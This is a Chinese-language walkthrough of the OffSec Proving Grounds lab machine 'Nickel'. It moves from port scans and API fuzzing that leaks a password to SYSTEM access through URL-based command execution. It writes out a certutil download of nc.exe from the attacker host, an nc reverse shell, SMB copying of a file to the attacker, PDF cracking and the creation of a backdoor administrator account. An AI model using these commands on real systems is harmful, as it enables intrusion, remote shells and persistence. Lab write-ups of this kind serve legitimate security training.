OSCP Nickel Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Nickel

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

HTTP 8089 网页源码得到接口路径 –> 模糊测试,找到获取系统进程接口 –> 进程信息得到 ariah 用户密码 –> SSH 登录,获取到 ariah 用户权限 –> 用户旗帜

权限提升:

破解 PDF 密码 –> 接口命令执行说明 –> 利用接口执行反弹 shell 或创建管理员用户 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sudo nmap -p- 192.168.164.99 --min-rate=2000

PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
5040/tcp open unknown
8089/tcp open unknown
33333/tcp open dgi-serv
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
sudo nmap -p21,22,80,135,139,445,3389,5040,8089,33333,49664,49665,49666,49667,49668,49669 -sCV 192.168.164.99

PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd 0.9.60 beta
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey:
| 3072 86:84:fd:d5:43:27:05:cf:a7:f2:e9:e2:75:70:d5:f3 (RSA)
| 256 9c:93:cf:48:a9:4e:70:f4:60:de:e1:a9:c2:c0:b6:ff (ECDSA)
|_ 256 00:4e:d7:3b:0f:9f:e3:74:4d:04:99:0b:b1:8b:de:a5 (ED25519)
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Site doesn't have a title.
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=nickel
| Not valid before: 2025-09-16T11:03:04
|_Not valid after: 2026-03-18T11:03:04
|_ssl-date: 2025-09-17T11:56:01+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: NICKEL
| NetBIOS_Domain_Name: NICKEL
| NetBIOS_Computer_Name: NICKEL
| DNS_Domain_Name: nickel
| DNS_Computer_Name: nickel
| Product_Version: 10.0.18362
|_ System_Time: 2025-09-17T11:54:50+00:00
5040/tcp open unknown
8089/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Site doesn't have a title.
|_http-server-header: Microsoft-HTTPAPI/2.0
33333/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Site doesn't have a title.
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-09-17T11:54:50
|_ start_date: N/A

系统为 Windows 环境,开放有 HTTP、SSH、FTP、RDP 和一些 Windows 默认服务。

3.2 渗透测试突破边界

3.2.1 Web 模糊测试泄漏 ariah 用户密码

靶机 SMB 和 FTP 均无法匿名访问,紧接着依次访问靶机 HTTP 80、8089、33333 端口,并尝试目录遍历。

80端口

8089端口

33333端口

目录遍历过程未发现有价值信息,在 HTTP 8089 源码泄漏了一些接口信息。

接口定义的端口和靶机开放的端口均为 33333,猜测靶机大概率也存在该接口。

在靶机 HTTP 33333 端口分别请求测试路径和源码中泄漏的路径,输入测试路径会提示 Not Found ,而源码中的路径则提示不允许 Get 方法。

我们将源码中泄漏的路径保存至文本中,使用 ffuf 进行参数模糊测试,当以 POST 方式请求 list-running-procs 路径时,会得到较大的响应包。

1
ffuf -u "http://192.168.164.99:33333/ARG" -X POST -d 'VUL=test' -w arg:ARG -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:VUL -fs 16

在浏览器使用 hackbar 工具手动发送 POST 请求,可得到系统进程信息。

在进程信息中发现用户名密码字段。

将密码使用 base64 解码,然后通过 SSH 连接,得到 ariah 用户权限,注意: 首先需要测试密文连接,如果密文不正确,再尝试解码。

3.2.2 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 PDF 文件密码破解,利用 web 命令执行接口得到系统 system 权限

在靶机 C 盘 FTP 目录发现 PDF 文件,将其下载至本地。

可通过靶机连接 kali SMB 共享,然后将文件复制到共享目录。

1
2
3
impacket-smbserver share ./ -smb2support -username kali -password kali
net use \\192.168.45.227\share /user:kali kali
copy Infrastructure.pdf \\192.168.45.227\share

使用 exiftool 工具查看 PDF 文件详情,发现文件设置了密码。

1
exiftool Infrastructure.pdf

使用 pdf2john 工具将 PDF 转换为 john 可识别的格式,破解得到 PDF 密码。

1
2
pdf2john Infrastructure.pdf > hash
john --wordlist=~/Desktop/rockyou.txt hash

打开 PDF 文档,说明信息提示在 URL 后使用问号可临时执行命令。

我们不使用域名直接通过靶机 80 端口也可执行系统命令。

1
http://192.168.164.99/?whoami

提权的过程非常不顺利,靶机 80 端口非常脆弱,稍微扫描一下就会挂掉,导致后面得到了 PDF 提示内容,尝试执行命令一直没有响应。

通过 80 端口已经得到了系统 system 权限,接下来只需要想办法获得系统 shell,有两种方案可行,方案一:上传 nc,通过 nc 执行反弹 shell 指令,方案二:创建管理员用户,并将其添加至管理员和远程管理组内,之后通过 RDP 登录靶机。

方案一:

上传 nc 至靶机 ftp 目录,然后使用 nc 执行反弹 shell。

1
2
cd /ftp
certutil -urlcache -split -f http://192.168.45.227/nc.exe
1
2
rlwrap nc -lvnp 80
http://192.168.164.99/?C:\ftp\nc.exe%20192.168.45.227%2080%20-e%20cme.exe

有时靶机会设置防火墙,导致反弹 shell 时受限,可尝试靶机开放的端口进行监听,或者执行方案二。

方案二:

创建 test 用户,然后将其添加至管理员和远程管理组。

1
2
3
4
net user test nihao@123 /add
net localgroup
net localgroup Administrators test /add
net localgroup "Remote Desktop Users" test /add

1、创建用户:

1
2
http://192.168.164.99/?net%20user%20test%20nihao@123%20/add
http://192.168.164.99/?net%20user

2、将用户添加至 administratorsRemote Desktop Users 组:

1
2
3
http://192.168.164.99/?net%20localgroup
http://192.168.164.99/?net%20localgroup%20Remote%20Desktop%20Users%20test%20/add
http://192.168.164.99/?net%20localgroup%20%22Remote%20Desktop%20Users%22%20test%20/add

3、验证是否添加成功:

1
2
http://192.168.164.99/?net%20localgroup%20administrators
http://192.168.164.99/?net%20localgroup%20%22Remote%20Desktop%20Users%22

4、使用 xfreerdp3 工具 RDP 远程登录靶机。

1
xfreerdp3 /u:test /p:'nihao@123' /v:192.168.164.99 /clipboard /dynamic-resolution

3.3.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSCP Nickel Write-up
https://www.f0nesec.top/2025/09/18/oscp-nickel/
作者
F0ne
发布于
2025年9月18日
许可协议